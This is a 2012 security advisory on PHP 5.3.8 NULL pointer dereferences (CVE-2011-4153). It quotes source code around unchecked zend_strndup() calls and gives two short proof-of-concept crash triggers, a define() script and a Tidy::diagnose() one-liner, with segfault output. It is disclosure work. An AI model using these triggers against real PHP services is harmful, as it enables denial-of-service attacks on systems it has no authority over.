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PHP 5.3.8 NULL Pointer Dereference

PHP 5.3.8 NULL Pointer Dereference
Posted Jan 15, 2012
Authored by Maksymilian Arciemowicz

PHP version 5.3.8 suffers from multiple NULL pointer dereference vulnerabilities.

tags | exploit, php, vulnerability
advisories | CVE-2011-4153
MD5 | bf292105d03f6ab7cae2bdbb9f964464

PHP 5.3.8 NULL Pointer Dereference

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Hash: SHA1

[ PHP 5.3.8 Multiple vulnerabilities ]

Author: Maksymilian Arciemowicz
Website: http://cxsecurity.com/
Date: 14.01.2012

CVE:
CVE-2011-4153 (zend_strndup)

Original link:
http://cxsecurity.com/research/103


[--- 1. Multiple NULL Pointer Dereference with zend_strndup()
[CVE-2011-4153] ---]
As we can see in zend_strndup()

- -zend_alloca.c---
ZEND_API char *zend_strndup(const char *s, uint length)
{
char *p;

p = (char *) malloc(length+1);
if (UNEXPECTED(p == NULL)) {
return p; <=== RETURN NULL
}
if (length) {
memcpy(p, s, length);
}
p[length] = 0;
return p;
}
- -zend_alloca.c---

zend_strndup() may return NULL

in php code, many calls to zend_strndup() dosen't checks returned
values. In result, places like:

- -zend_builtin_functions.c---
ZEND_FUNCTION(define)
{
char *name;
int name_len;
zval *val;
zval *val_free = NULL;
zend_bool non_cs = 0;
int case_sensitive = CONST_CS;
zend_constant c;

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sz|b", &name,
&name_len, &val, &non_cs) == FAILURE) {
return;
}
...
c.flags = case_sensitive; /* non persistent */
c.name = zend_strndup(name, name_len); <======== MAY RETURN NULL
c.name_len = name_len+1;
c.module_number = PHP_USER_CONSTANT;
if (zend_register_constant(&c TSRMLS_CC) == SUCCESS) {
RETURN_TRUE;
} else {
RETURN_FALSE;
}
}
- -zend_builtin_functions.c---

- -PoC code---
[cx@82 /www]$ ulimit -a
socket buffer size (bytes, -b) unlimited
core file size (blocks, -c) unlimited
data seg size (kbytes, -d) 524288
file size (blocks, -f) unlimited
max locked memory (kbytes, -l) unlimited
max memory size (kbytes, -m) 40000
open files (-n) 11095
pipe size (512 bytes, -p) 1
stack size (kbytes, -s) 65536
cpu time (seconds, -t) unlimited
max user processes (-u) 5547
virtual memory (kbytes, -v) 40000
swap size (kbytes, -w) unlimited
[cx@82 /www]$ cat define.php
<?php
define(str_repeat("A",$argv[1]),"a");
?>
- -PoC code---

to see difference

[cx@82 /www]$ php define.php 8999999
Out of memory
[cx@82 /www]$ php define.php 9999999
Segmentation fault: 11

(gdb) bt
#0 0x28745eb0 in strrchr () from /lib/libc.so.7
#1 0x0822d538 in zend_register_constant (c=0xbfbfcfb0)
at /usr/ports/lang/php5/work/php/Zend/zend_constants.c:429
#2 0x08251e0e in zif_define (ht=2, return_value=0x28825a98,
return_value_ptr=0x0, this_ptr=0x0, return_value_used=0)
at /usr/ports/lang/php5/work/php/Zend/zend_builtin_functions.c:688
#3 0x0826dba6 in zend_do_fcall_common_helper_SPEC
(execute_data=0x29401040)
at zend_vm_execute.h:316


There are others places, where zend_strndup() is used:

- -1--
ext/soap/php_sdl.c
if (sdl->is_persistent) {
new_enc->details.ns = zend_strndup(ns, ns_len);
new_enc->details.type_str = strdup(new_enc->details.type_str);
} else {
new_enc->details.ns = estrndup(ns, ns_len);
new_enc->details.type_str = estrdup(new_enc->details.type_str);
}
- -1--

- -2--
ext/standard/syslog.c
BG(syslog_device) = zend_strndup(ident, ident_len);
openlog(BG(syslog_device), option, facility);
RETURN_TRUE;
- -2--

- -3--
ext/standard/browscap.c
} else { /* Other than true/false setting */
Z_STRVAL_P(new_property) = zend_strndup(Z_STRVAL_P(arg2),
Z_STRLEN_P(arg2));
Z_STRLEN_P(new_property) = Z_STRLEN_P(arg2);
}
new_key = zend_strndup(Z_STRVAL_P(arg1), Z_STRLEN_P(arg1));
zend_str_tolower(new_key, Z_STRLEN_P(arg1));
zend_hash_update(Z_ARRVAL_P(current_section), new_key,
Z_STRLEN_P(arg1) + 1, &new_property, sizeof(zval *), NULL);
free(new_key);
- -3--

- -4--
ext/oci8/oci8.c
if (alloc_non_persistent) {
connection = (php_oci_connection *) ecalloc(1,
sizeof(php_oci_connection));
connection->hash_key = estrndup(hashed_details.c, hashed_details.len);
connection->is_persistent = 0;
} else {
connection = (php_oci_connection *) calloc(1,
sizeof(php_oci_connection));
connection->hash_key = zend_strndup(hashed_details.c,
hashed_details.len);
connection->is_persistent = 1;
}
- -4--

- -5--
ext/com_dotnet/com_typeinfo.c
const_name = php_com_olestring_to_string(bstr_ids, &c.name_len,
codepage TSRMLS_CC);
c.name = zend_strndup(const_name, c.name_len);
efree(const_name);
c.name_len++; /* include NUL */
SysFreeString(bstr_ids);

/* sanity check for the case where the constant is already defined */
if (zend_get_constant(c.name, c.name_len - 1, &exists TSRMLS_CC)) {
if (COMG(autoreg_verbose) && !compare_function(&results,
&c.value, &exists TSRMLS_CC)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Type library
constant %s is already defined", c.name);
}
free(c.name);
ITypeInfo_ReleaseVarDesc(TypeInfo, pVarDesc);
continue;
}
- -5--

- -6--
main/php_open_temporary_file.c
/* On Unix use the (usual) TMPDIR environment variable. */
{
char* s = getenv("TMPDIR");
if (s && *s) {
int len = strlen(s);

if (s[len - 1] == DEFAULT_SLASH) {
temporary_directory = zend_strndup(s, len - 1);
} else {
temporary_directory = zend_strndup(s, len);
}

return temporary_directory;
}
- -6--


[--- 2. Tidy::diagnose() NULL pointer dereference ---]
Class tidy, may provide to null pointer dereference using tidy lib.

1287 static PHP_FUNCTION(tidy_diagnose)
1288 {
1289 TIDY_FETCH_OBJECT;
1290
1291 if (tidyRunDiagnostics(obj->ptdoc->doc) >= 0) {
1292 tidy_doc_update_properties(obj TSRMLS_CC);
1293 RETURN_TRUE;
1294 }
1295
1296 RETURN_FALSE;
1297 }

- -PoC---
(gdb) r -r '$nx=new Tidy("*");$nx->diagnose();'
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /usr/bin/php -r '$nx=new Tidy("*");$nx->diagnose();'
[Thread debugging using libthread_db enabled]
PHP Warning: tidy::__construct(): Cannot Load '*' into memory in
Command line code on line 1

Program received signal SIGSEGV, Segmentation fault.
0x00007fffedfaff87 in prvTidyReportMarkupVersion ()
from /usr/lib/libtidy-0.99.so.0
- -PoC---

- -Result---
cx@cx64:~$ php -r '$nx=new Tidy("*");$nx->diagnose();'
PHP Warning: tidy::__construct(): Cannot Load '*' into memory in
Command line code on line 1
Segmentation fault
- -Result---

I do not consider this vulnerability as a having security impact other
as DoS.

[--- 3. Contact ---]
Author: Maksymilian Arciemowicz
Email: max {AA\TT cxsecurity |D|0|T] com
http://cxsecurity.com/

GPG:
http://cxsecurity.com/office.cxsecurity.txt


- --
Best Regards
Maksymilian Arciemowicz (CXSecurity.com)
pub 4096R/D6E5B530 2010-09-19
uid Maksymilian Arciemowicz (cx) <max@cxib.net>
sub 4096R/58BA663C 2010-09-19
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